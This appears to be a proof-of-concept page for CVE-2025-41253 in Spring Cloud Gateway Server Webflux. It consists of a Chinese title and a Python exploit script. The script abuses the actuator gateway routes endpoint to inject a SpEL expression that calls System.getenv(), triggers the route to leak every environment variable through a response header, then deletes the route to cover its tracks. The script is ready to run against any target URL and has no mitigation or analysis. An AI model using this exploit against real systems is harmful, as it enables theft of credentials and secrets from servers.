CVE-2025-41253 Spring Cloud Gateway Server Webflux SpEL注入信息泄露漏洞

#!/usr/bin/env python3 # CVE-2025-41253 - Spring Cloud Gateway Server Webflux SpEL Injection Info Disclosure # Exploits actuator endpoint to create a route with malicious SpEL expression # to read environment variables and system properties import requests import json import sys TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target:8080" ROUTES_ENDPOINT = f"{TARGET_URL}/actuator/gateway/routes" REFRESH_ENDPOINT = f"{TARGET_URL}/actuator/gateway/refresh" # Malicious SpEL expression to extract environment variables # #{T(java.lang.System).getenv()} returns all environment variables # #{T(java.lang.System).getProperties()} returns all system properties SPEL_PAYLOAD = "#{T(java.lang.System).getenv()}" # Step 1: Create a malicious route with SpEL expression malicious_route = { "id": "exploit_route", "filters": [ { "name": "AddResponseHeader", "args": { "name": "X-Env-Vars", "value": SPEL_PAYLOAD } } ], "uri": "http://example.org", "predicates": [ "Path=/exploit/**" ] } print(f"[*] Target: {TARGET_URL}") print(f"[*] Step 1: Creating malicious route with SpEL payload...") # Send POST request to create the route response = requests.post( ROUTES_ENDPOINT, headers={"Content-Type": "application/json"}, data=json.dumps(malicious_route), verify=False ) print(f"[*] Route creation response: {response.status_code}") # Step 2: Refresh routes to apply the malicious route print(f"[*] Step 2: Refreshing routes...") refresh_response = requests.post(REFRESH_ENDPOINT, verify=False) print(f"[*] Refresh response: {refresh_response.status_code}") # Step 3: Trigger the malicious route to extract environment variables print(f"[*] Step 3: Triggering malicious route to extract data...") exploit_response = requests.get(f"{TARGET_URL}/exploit/test", verify=False) print(f"[*] Exploit response status: {exploit_response.status_code}") # Extract leaked environment variables from response header if "X-Env-Vars" in exploit_response.headers: print(f"[+] Leaked environment variables:\n{exploit_response.headers['X-Env-Vars']}") else: print("[-] No environment variables found in response headers") print(f"[*] Full response headers:\n{dict(exploit_response.headers)}") # Step 4: Clean up - delete the malicious route print(f"[*] Step 4: Cleaning up - deleting malicious route...") delete_response = requests.delete(f"{ROUTES_ENDPOINT}/exploit_route", verify=False) print(f"[*] Delete response: {delete_response.status_code}") # Refresh after cleanup requests.post(REFRESH_ENDPOINT, verify=False)